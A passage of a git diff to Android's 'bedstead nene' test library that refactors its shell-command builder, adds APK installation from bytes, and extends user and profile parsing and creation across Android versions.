-import com.android.bedstead.nene.utils.ShellCommandUtils;
 
 import java.io.File;
 
@@ -32,7 +31,6 @@
  * <p>To resolve the package into a {@link Package}, see {@link #resolve()}.
  */
 public abstract class PackageReference {
-
     private final Packages mPackages;
     private final String mPackageName;
 
@@ -69,8 +67,9 @@
             // Expected output "Package X installed for user: Y"
             ShellCommand.builderForUser(user, "pm install-existing")
                     .addOperand(mPackageName)
-                    .executeAndValidateOutput(
-                            (output) -> output.contains("installed for user"));
+                    .validate(
+                            (output) -> output.contains("installed for user"))
+                    .execute();
             return this;
         } catch (AdbException e) {
             throw new NeneException("Could not install-existing package " + this, e);
@@ -82,6 +81,8 @@
      *
      * <p>If this is the last user which has this package installed, then the package will no
      * longer {@link #resolve()}.
+     *
+     * <p>If the package is not installed for the given user, nothing will happen.
      */
     public PackageReference uninstall(UserReference user) {
         if (user == null) {
@@ -91,7 +92,11 @@
             // Expected output "Success"
             ShellCommand.builderForUser(user, "pm uninstall")
                     .addOperand(mPackageName)
-                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+                    .validate((output) -> {
+                        output = output.toUpperCase();
+                        return output.startsWith("SUCCESS") || output.contains("NOT INSTALLED FOR");
+                    })
+                    .execute();
             return this;
         } catch (AdbException e) {
             throw new NeneException("Could not uninstall package " + this, e);
@@ -112,4 +117,12 @@
         PackageReference other = (PackageReference) obj;
         return other.mPackageName.equals(mPackageName);
     }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("PackageReference{");
+        stringBuilder.append("packageName=" + mPackageName);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index a10aed5..22be828 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -20,7 +20,10 @@
 
 import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
 
+import android.os.Build;
+
 import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.AdbException;
@@ -30,6 +33,7 @@
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
 
 import java.io.File;
 import java.util.Collection;
@@ -98,14 +102,7 @@
         if (user == null || apkFile == null) {
             throw new NullPointerException();
         }
-        User resolvedUser = user.resolve();
-        // TODO(scottjonathan): Consider if it's worth the additional call here - we could
-        //  optionally instead timeout the shell command (it doesn't respond if the user isn't
-        //  started)
-        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
-            throw new NeneException("Packages can not be installed in non-started users "
-                    + "(Trying to install into user " + resolvedUser + ")");
-        }
+        checkUserStartedBeforeInstall(user);
 
         // By default when using ADB we don't know the package name of the file upon success.
         // we could make an additional call to get it (either parsing all installed and finding the
@@ -118,24 +115,71 @@
             ShellCommand.builderForUser(user, "pm install")
                     .addOperand("-r") // Reinstall automatically
                     .addOperand(apkFile.getAbsolutePath())
-                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
         } catch (AdbException e) {
             throw new NeneException("Could not install " + apkFile + " for user " + user, e);
         }
     }
 
+    /**
+     * Install an APK from the given byte array to a given {@link UserReference}.
+     *
+     * <p>The user must be started.
+     *
+     * <p>If the package is already installed, this will replace it.
+     */
+    public void install(UserReference user, byte[] apkFile) {
+        if (user == null || apkFile == null) {
+            throw new NullPointerException();
+        }
+
+        checkUserStartedBeforeInstall(user);
+
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm install")
+                    .addOption("-S", apkFile.length)
+                    .addOperand("-r")
+                    .writeToStdIn(apkFile)
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Could not install from bytes for user " + user, e);
+        }
+    }
+
+    private void checkUserStartedBeforeInstall(UserReference user) {
+        User resolvedUser = user.resolve();
+        // TODO(scottjonathan): Consider if it's worth the additional call here - we could
+        //  optionally instead timeout the shell command (it doesn't respond if the user isn't
+        //  started)
+        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+            throw new NeneException("Packages can not be installed in non-started users "
+                    + "(Trying to install into user " + resolvedUser + ")");
+        }
+    }
+
+    /**
+     * Set packages which will not be cleaned up by the system even if they are not installed on
+     * any user.
+     *
+     * <p>This will ensure they can still be resolved and re-installed without needing the APK
+     */
+    @RequiresApi(Build.VERSION_CODES.S)
+    public KeepUninstalledPackagesBuilder keepUninstalledPackages() {
+        Versions.requireS();
+
+        return new KeepUninstalledPackagesBuilder();
+    }
+
     @Nullable
     Package fetchPackage(String packageName) {
         // TODO(scottjonathan): fillCache probably does more than we need here -
         //  can we make it more efficient?
         fillCache();
 
-        Package pkg = mCachedPackages.get(packageName);
-        if (pkg == null || pkg.installedOnUsers().isEmpty()) {
-            return null; // Treat it as uninstalled once all users are removed/removing
-        }
-
-        return pkg;
+        return mCachedPackages.get(packageName);
     }
 
     /**
@@ -154,7 +198,7 @@
     private void fillCache() {
         try {
             // TODO: Replace use of adb on supported versions of Android
-            String packageDumpsysOutput = ShellCommandUtils.executeCommand("dumpsys package");
+            String packageDumpsysOutput = ShellCommand.builder("dumpsys package").execute();
             AdbPackageParser.ParseResult result = mParser.parse(packageDumpsysOutput);
 
             mCachedPackages = result.mPackages;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
index 23f279b..91c7cb8 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser.java
@@ -32,6 +32,9 @@
 interface AdbUserParser {
 
     static AdbUserParser get(Users users, int sdkVersion) {
+        if (sdkVersion >= 31) {
+            return new AdbUserParser31(users);
+        }
         if (sdkVersion >= 30) {
             return new AdbUserParser30(users);
         }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
index 470edf0..d9602bd 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser26.java
@@ -88,7 +88,7 @@
 public class AdbUserParser26 implements AdbUserParser {
     static final int USER_LIST_BASE_INDENTATION = 2;
 
-    private final Users mUsers;
+    final Users mUsers;
 
     AdbUserParser26(Users users) {
         if (users == null) {
@@ -132,6 +132,7 @@
             String userInfo[] = userString.split("UserInfo\\{", 2)[1].split("\\}", 2)[0].split(":");
             User.MutableUser user = new User.MutableUser();
             user.mName = userInfo[1];
+            user.mFlags = Integer.parseInt(userInfo[2], 16);
             user.mId = Integer.parseInt(userInfo[0]);
             user.mSerialNo = Integer.parseInt(
                     userString.split("serialNo=", 2)[1].split("[ \n]", 2)[0]);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
new file mode 100644
index 0000000..279c840
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser31.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+/**
+ * Parser for "adb dumpsys user" on Android 30+
+ *
+ * <p>Example output:
+ * {@code
+ *
+ * }
+ */
+@RequiresApi(Build.VERSION_CODES.S)
+// TODO(scottjonathan): Replace ADB calls for S with test apis
+public class AdbUserParser31 extends AdbUserParser30 {
+
+    AdbUserParser31(Users users) {
+        super(users);
+    }
+
+    @Override
+    User.MutableUser parseUser(String userString) throws AdbParseException {
+        User.MutableUser user = super.parseUser(userString);
+
+        if (user.mType.baseType().contains(UserType.BaseType.PROFILE)) {
+            try {
+                user.mParent = mUsers.find(
+                        Integer.parseInt(userString.split("parentId=")[1].split("[ \n]")[0]));
+            } catch (IndexOutOfBoundsException e) {
+                throw new AdbParseException("Error parsing user", userString, e);
+            }
+        }
+
+        return user;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
index d720740..4a75e7c 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
@@ -16,11 +16,9 @@
 
 package com.android.bedstead.nene.users;
 
-import android.os.Build;
 import android.util.Log;
 
 import androidx.annotation.Nullable;
-import androidx.annotation.RequiresApi;
 
 /**
  * Representation of a user on an Android device.
@@ -32,6 +30,9 @@
 
     private static final String LOG_TAG = "User";
 
+    /* From UserInfo */
+    static final int FLAG_MANAGED_PROFILE = 0x00000020;
+
     public enum UserState {
         NOT_RUNNING,
         RUNNING_LOCKED,
@@ -63,9 +64,11 @@
         @Nullable Boolean mIsPrimary;
         @Nullable UserState mState;
         @Nullable Boolean mIsRemoving;
+        @Nullable Integer mFlags;
+        @Nullable UserReference mParent;
     }
 
-    private final MutableUser mMutableUser;
+    final MutableUser mMutableUser;
 
     User(Users users, MutableUser mutableUser) {
         super(users, mutableUser.mId);
@@ -94,10 +97,7 @@
 
     /**
      * Get the user type.
-     *
-     * <p>On Android versions < 11, this will return {@code null}.
      */
-    @RequiresApi(Build.VERSION_CODES.R)
     public UserType type() {
         return mMutableUser.mType;
     }
@@ -109,14 +109,28 @@
 
     /**
      * Return {@code true} if this is the primary user.
-     *
-     * <p>On Android versions < 11, this will return {@code null}.
      */
-    @RequiresApi(Build.VERSION_CODES.R)
     public Boolean isPrimary() {
         return mMutableUser.mIsPrimary;
     }
 
+    boolean hasFlag(int flag) {
+        if (mMutableUser.mFlags == null) {
+            return false;
+        }
+        return (mMutableUser.mFlags & flag) != 0;
+    }
+
+    /**
+     * Return the parent of this profile.
+     *
+     * <p>Returns {@code null} if this user is not a profile.
+     */
+    @Nullable
+    public UserReference parent() {
+        return mMutableUser.mParent;
+    }
+
     @Override
     public String toString() {
         StringBuilder stringBuilder = new StringBuilder("User{");
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
index 4eef5ef..51bf36b 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
@@ -16,10 +16,13 @@
 
 package com.android.bedstead.nene.users;
 
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+import static com.android.bedstead.nene.users.Users.SYSTEM_USER_ID;
+
 import android.os.Build;
 
 import androidx.annotation.Nullable;
-import androidx.annotation.RequiresApi;
 
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
@@ -36,6 +39,7 @@
     private final Users mUsers;
     private String mName;
     private @Nullable UserType mType;
+    private @Nullable UserReference mParent;
 
     UserBuilder(Users users) {
         mUsers = users;
@@ -49,12 +53,31 @@
         return this;
     }
 
-    @RequiresApi(Build.VERSION_CODES.R)
+    /**
+     * Set the {@link UserType}.
+     *
+     * <p>Defaults to android.os.usertype.full.SECONDARY
+     */
     public UserBuilder type(UserType type) {
+        if (type == null) {
+            // We don't want to allow null to be passed in explicitly as that would cause subtle
+            // bugs when chaining with .supportedType() which can return null
+            throw new NullPointerException("Can not set type to null");
+        }
         mType = type;
         return this;
     }
 
+    /**
+     * Set the parent of the new user.
+     *
+     * <p>This should only be set if the {@link #type(UserType)} is a profile.
+     */
+    public UserBuilder parent(UserReference parent) {
+        mParent = parent;
+        return this;
+    }
+
     /** Create the user. */
     public UserReference create() {
         if (mName == null) {
@@ -64,16 +87,52 @@
         ShellCommand.Builder commandBuilder = ShellCommand.builder("pm create-user");
 
         if (mType != null) {
-            commandBuilder.addOption("--user-type", mType.name());
+            if (mType.baseType().contains(UserType.BaseType.SYSTEM)) {
+                throw new NeneException(
+                        "Can not create additional system users " + this);
+            }
+
+            if (mType.baseType().contains(UserType.BaseType.PROFILE)) {
+                if (mParent == null) {
+                    throw new NeneException("When creating a profile, the parent user must be"
+                            + " specified");
+                }
+
+                commandBuilder.addOption("--profileOf", mParent.id());
+            } else if (mParent != null) {
+                throw new NeneException("A parent should only be specified when create profiles");
+            }
+
+            if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
+                if (mType.name().equals(MANAGED_PROFILE_TYPE_NAME)) {
+                    if (mParent.id() != SYSTEM_USER_ID) {
+                        // On R, this error will be thrown when we execute the command
+                        throw new NeneException(
+                                "Can not create managed profiles of users other than the "
+                                        + "system user"
+                        );
+                    }
+
+                    commandBuilder.addOperand("--managed");
+                } else if (!mType.name().equals(SECONDARY_USER_TYPE_NAME)) {
+                    // This shouldn't be reachable as before R we can't fetch a list of user types
+                    //  so the only supported ones are system/managed profile/secondary
+                    throw new NeneException(
+                            "Can not create users of type " + mType + " on this device");
+                }
+            } else {
+                commandBuilder.addOption("--user-type", mType.name());
+            }
         }
 
         commandBuilder.addOperand(mName);
 
         // Expected success string is e.g. "Success: created user id 14"
         try {
-            int userId = Integer.parseInt(
-                    commandBuilder.executeAndValidateOutput(ShellCommandUtils::startsWithSuccess)
-                    .split("id ")[1].trim());
+            int userId =
+                    commandBuilder.validate(ShellCommandUtils::startsWithSuccess)
+                            .executeAndParseOutput(
+                                    (output) -> Integer.parseInt(output.split("id ")[1].trim()));
             return new UnresolvedUser(mUsers, userId);
         } catch (AdbException e) {
             throw new NeneException("Could not create user " + this, e);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
index 5c21aef..47ed133 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -85,7 +85,8 @@
             // Expected success string is "Success: removed user"
             ShellCommand.builder("pm remove-user")
                     .addOperand(mId)
-                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
             mUsers.waitForUserToNotExistOrMatch(this, User::isRemoving);
         } catch (AdbException e) {
             throw new NeneException("Could not remove user + " + this, e);
@@ -108,7 +109,8 @@
             ShellCommand.builder("am start-user")
                     .addOperand(mId)
                     .addOperand("-w")
-                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
             User waitedUser = mUsers.waitForUserToNotExistOrMatch(
                     this, (user) -> user.state() == UserState.RUNNING_UNLOCKED);
             if (waitedUser == null) {
@@ -128,11 +130,13 @@
      */
     public UserReference stop() {
         try {
-            // Expects no output on success or failure
+            // Expects no output on success or failure - stderr output on failure
             ShellCommand.builder("am stop-user")
+                    .addOperand("-f") // Force stop
                     .addOperand(mId)
                     .allowEmptyOutput(true)
-                    .executeAndValidateOutput(ShellCommandUtils::doesNotStartWithError);
+                    .validate(String::isEmpty)
+                    .execute();
             User waitedUser = mUsers.waitForUserToNotExistOrMatch(
                     this, (user) -> user.state() == UserState.NOT_RUNNING);
             if (waitedUser == null) {
@@ -164,7 +168,8 @@
             ShellCommand.builder("am switch-user")
                     .addOperand(mId)
                     .allowEmptyOutput(true)
-                    .executeAndValidateOutput(String::isEmpty);
+                    .validate(String::isEmpty)
+                    .execute();
 
             broadcastReceiver.awaitForBroadcast();
         } catch (AdbException e) {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
index 17121fe3..33cdef3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
@@ -16,20 +16,17 @@
 
 package com.android.bedstead.nene.users;
 
-import android.os.Build;
-
-import androidx.annotation.RequiresApi;
-
 import java.util.Set;
 
 /**
  * Represents information about an Android User type.
- *
- * <p>Only supported on Android 11 and above.
  */
-@RequiresApi(Build.VERSION_CODES.R)
 public final class UserType {
 
+    public static final String SECONDARY_USER_TYPE_NAME = "android.os.usertype.full.SECONDARY";
+    public static final String SYSTEM_USER_TYPE_NAME = "android.os.usertype.full.SYSTEM";
+    public static final String MANAGED_PROFILE_TYPE_NAME = "android.os.usertype.profile.MANAGED";
+
     public static final int UNLIMITED = -1;
 
     public enum BaseType {
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 7f52a42..d64c88fd 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -19,29 +19,38 @@
 import static android.os.Build.VERSION.SDK_INT;
 import static android.os.Process.myUserHandle;
 
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
+
 import android.os.Build;
 import android.os.UserHandle;
 
 import androidx.annotation.Nullable;
-import androidx.annotation.RequiresApi;
 
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.Collection;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
 import java.util.Map;
+import java.util.Set;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Function;
 
 public final class Users {
 
+    static final int SYSTEM_USER_ID = 0;
     private static final long WAIT_FOR_USER_TIMEOUT_MS = 1000 * 60;
 
     private Map<Integer, User> mCachedUsers = null;
     private Map<String, UserType> mCachedUserTypes = null;
+    private Set<UserType> mCachedUserTypeValues = null;
     private final AdbUserParser parser = AdbUserParser.get(this, SDK_INT);
 
     /** Get all {@link User}s on the device. */
@@ -81,33 +90,66 @@
     }
 
     /** Get all supported {@link UserType}s. */
-    @RequiresApi(Build.VERSION_CODES.R)
-    @Nullable
-    public Collection<UserType> supportedTypes() {
-        if (SDK_INT < Build.VERSION_CODES.R) {
-            return null;
-        }
-        if (mCachedUserTypes == null) {
-            // supportedTypes cannot change so we don't need to refill the cache
-            fillCache();
-        }
-        return mCachedUserTypes.values();
+    public Set<UserType> supportedTypes() {
+        ensureSupportedTypesCacheFilled();
+        return mCachedUserTypeValues;
     }
 
     /** Get a {@link UserType} with the given {@code typeName}, or {@code null} */
-    @RequiresApi(Build.VERSION_CODES.R)
-    @Nullable
     public UserType supportedType(String typeName) {
-        if (SDK_INT < Build.VERSION_CODES.R) {
-            return null;
-        }
-        if (mCachedUserTypes == null) {
-            // supportedTypes cannot change so we don't need to refill the cache
-            fillCache();
-        }
+        ensureSupportedTypesCacheFilled();
         return mCachedUserTypes.get(typeName);
     }
 
+    private void ensureSupportedTypesCacheFilled() {
+        if (mCachedUserTypes != null) {
+            // SupportedTypes don't change so don't need to be refreshed
+            return;
+        }
+        if (SDK_INT < Build.VERSION_CODES.R) {
+            mCachedUserTypes = new HashMap<>();
+            mCachedUserTypes.put(MANAGED_PROFILE_TYPE_NAME, managedProfileUserType());
+            mCachedUserTypes.put(SYSTEM_USER_TYPE_NAME, systemUserType());
+            mCachedUserTypes.put(SECONDARY_USER_TYPE_NAME, secondaryUserType());
+            mCachedUserTypeValues = new HashSet<>();
+            mCachedUserTypeValues.addAll(mCachedUserTypes.values());
+            return;
+        }
+
+        fillCache();
+    }
+
+    private UserType managedProfileUserType() {
+        UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
+        managedProfileMutableUserType.mName = MANAGED_PROFILE_TYPE_NAME;
+        managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.PROFILE);
+        managedProfileMutableUserType.mEnabled = true;
+        managedProfileMutableUserType.mMaxAllowed = -1;
+        managedProfileMutableUserType.mMaxAllowedPerParent = 1;
+        return new UserType(managedProfileMutableUserType);
+    }
+
+    private UserType systemUserType() {
+        UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
+        managedProfileMutableUserType.mName = SYSTEM_USER_TYPE_NAME;
+        managedProfileMutableUserType.mBaseType =
+                Set.of(UserType.BaseType.FULL, UserType.BaseType.SYSTEM);
+        managedProfileMutableUserType.mEnabled = true;
+        managedProfileMutableUserType.mMaxAllowed = -1;
+        managedProfileMutableUserType.mMaxAllowedPerParent = -1;
+        return new UserType(managedProfileMutableUserType);
+    }
+
+    private UserType secondaryUserType() {
+        UserType.MutableUserType managedProfileMutableUserType = new UserType.MutableUserType();
+        managedProfileMutableUserType.mName = SECONDARY_USER_TYPE_NAME;
+        managedProfileMutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+        managedProfileMutableUserType.mEnabled = true;
+        managedProfileMutableUserType.mMaxAllowed = -1;
+        managedProfileMutableUserType.mMaxAllowedPerParent = -1;
+        return new UserType(managedProfileMutableUserType);
+    }
+
     /**
      * Create a new user.
      */
@@ -118,15 +160,55 @@
     private void fillCache() {
         try {
             // TODO: Replace use of adb on supported versions of Android
-            String userDumpsysOutput = ShellCommandUtils.executeCommand("dumpsys user");
+            String userDumpsysOutput = ShellCommand.builder("dumpsys user").execute();
             AdbUserParser.ParseResult result = parser.parse(userDumpsysOutput);
 
             mCachedUsers = result.mUsers;
-            mCachedUserTypes = result.mUserTypes;
+            if (result.mUserTypes != null) {
+                mCachedUserTypes = result.mUserTypes;
+            } else {
+                ensureSupportedTypesCacheFilled();
+            }
 
-            // We don't expose users who are currently being removed
-            mCachedUsers.entrySet().removeIf(
-                    integerUserEntry -> integerUserEntry.getValue().isRemoving());
+            Iterator<Map.Entry<Integer, User>> iterator = mCachedUsers.entrySet().iterator();
+
+            while (iterator.hasNext()) {
+                Map.Entry<Integer, User> entry = iterator.next();
+
+                if (entry.getValue().isRemoving()) {
+                    // We don't expose users who are currently being removed
+                    iterator.remove();
+                    continue;
+                }
+
+                User.MutableUser mutableUser = entry.getValue().mMutableUser;
+
+                if (SDK_INT < Build.VERSION_CODES.R) {
+                    if (entry.getValue().id() == SYSTEM_USER_ID) {
+                        mutableUser.mType = supportedType(SYSTEM_USER_TYPE_NAME);
+                        mutableUser.mIsPrimary = true;
+                    } else if (entry.getValue().hasFlag(User.FLAG_MANAGED_PROFILE)) {
+                        mutableUser.mType =
+                                supportedType(MANAGED_PROFILE_TYPE_NAME);
+                        mutableUser.mIsPrimary = false;
+                    } else {
+                        mutableUser.mType =
+                                supportedType(SECONDARY_USER_TYPE_NAME);
+                        mutableUser.mIsPrimary = false;
+                    }
+                }
+
+                if (SDK_INT < Build.VERSION_CODES.S) {
+                    if (mutableUser.mType.baseType()
+                            .contains(UserType.BaseType.PROFILE)) {
+                        // We assume that all profiles before S were on the System User
+                        mutableUser.mParent = find(SYSTEM_USER_ID);
+                    }
+                }
+            }
+
+            mCachedUserTypeValues = new HashSet<>();
+            mCachedUserTypeValues.addAll(mCachedUserTypes.values());
 
         } catch (AdbException | AdbParseException e) {
             throw new RuntimeException("Error filling cache", e);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
index 0ca0044..6a9a499 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -28,6 +28,10 @@
  */
 public final class ShellCommand {
 
+    // 60 seconds
+    private static final int MAX_WAIT_UNTIL_ATTEMPTS = 600;
+    private static final long WAIT_UNTIL_DELAY_MILLIS = 100;
+
     public static Builder builder(String command) {
         if (command == null) {
             throw new NullPointerException();
@@ -49,8 +53,12 @@
 
     public static final class Builder {
         private final StringBuilder commandBuilder;
+        @Nullable
         private byte[] mStdInBytes = null;
+        @Nullable
         private boolean mAllowEmptyOutput = false;
+        @Nullable
+        private Function<String, Boolean> mOutputSuccessChecker = null;
 
         private Builder(String command) {
             commandBuilder = new StringBuilder(command);
@@ -87,6 +95,24 @@
         }
 
         /**
+         * Write the given {@code stdIn} to standard in.
+         */
+        public Builder writeToStdIn(byte[] stdIn) {
+            mStdInBytes = stdIn;
+            return this;
+        }
+
+        /**
+         * Validate the output when executing.
+         *
+         * <p>{@code outputSuccessChecker} should return {@code true} if the output is valid.
+         */
+        public Builder validate(Function<String, Boolean> outputSuccessChecker) {
+            mOutputSuccessChecker = outputSuccessChecker;
+            return this;
+        }
+
+        /**
          * Build the full command including all options and operands.
          */
         public String build() {
@@ -95,18 +121,56 @@
 
         /** See {@link ShellCommandUtils#executeCommand(java.lang.String)}. */
         public String execute() throws AdbException {
+            if (mOutputSuccessChecker != null) {
+                return ShellCommandUtils.executeCommandAndValidateOutput(
+                        commandBuilder.toString(),
+                        /* allowEmptyOutput= */ mAllowEmptyOutput,
+                        mStdInBytes,
+                        mOutputSuccessChecker);
+            }
+
             return ShellCommandUtils.executeCommand(
                     commandBuilder.toString(),
-                    /* allowEmptyOutput= */ mAllowEmptyOutput);
+                    /* allowEmptyOutput= */ mAllowEmptyOutput,
+                    mStdInBytes);
         }
 
-        /** See {@link ShellCommandUtils#executeCommandAndValidateOutput(String, Function)}. */
-        public String executeAndValidateOutput(Function<String, Boolean> outputSuccessChecker)
-                throws AdbException {
-            return ShellCommandUtils.executeCommandAndValidateOutput(
-                    commandBuilder.toString(),
-                    /* allowEmptyOutput= */ mAllowEmptyOutput,
-                    outputSuccessChecker);
+        /**
+         * See {@link #execute} and then extract information from the output using
+         * {@code outputParser}.
+         *
+         * <p>If any {@link Exception} is thrown by {@code outputParser}, and {@link AdbException}
+         * will be thrown.
+         */
+        public <E> E executeAndParseOutput(Function<String, E> outputParser) throws AdbException {
+            String output = execute();
+
+            try {
+                return outputParser.apply(output);
+            } catch (RuntimeException e) {
+                throw new AdbException(
+                        "Could not parse output", commandBuilder.toString(), output, e);
+            }
+        }
+
+        /**
+         * Execute the command and check that the output meets a given criteria. Run the
+         * command repeatedly until the output meets the criteria.
+         *
+         * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
+         * command executed successfully.
+         */
+        public String executeUntilValid() throws InterruptedException, AdbException {
+            int attempts = 0;
+            while (attempts++ < MAX_WAIT_UNTIL_ATTEMPTS) {
+                try {
+                    return execute();
+                } catch (AdbException e) {
+                    // ignore, will retry
+                    Thread.sleep(WAIT_UNTIL_DELAY_MILLIS);
+                }
+            }
+            return execute();
         }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
index d9c7da7..60ebb4f 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
@@ -18,9 +18,18 @@
 
 import static android.os.Build.VERSION.SDK_INT;
 
-import com.android.bedstead.nene.exceptions.AdbException;
-import com.android.compatibility.common.util.SystemUtil;
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
 import java.util.function.Function;
 
 /**
@@ -28,9 +37,11 @@
  */
 public final class ShellCommandUtils {
 
-    // 60 seconds
-    private static final int MAX_WAIT_UNTIL_ATTEMPTS = 600;
-    private static final long WAIT_UNTIL_DELAY_MILLIS = 100;
+    private static final String LOG_TAG = ShellCommandUtils.class.getName();
+
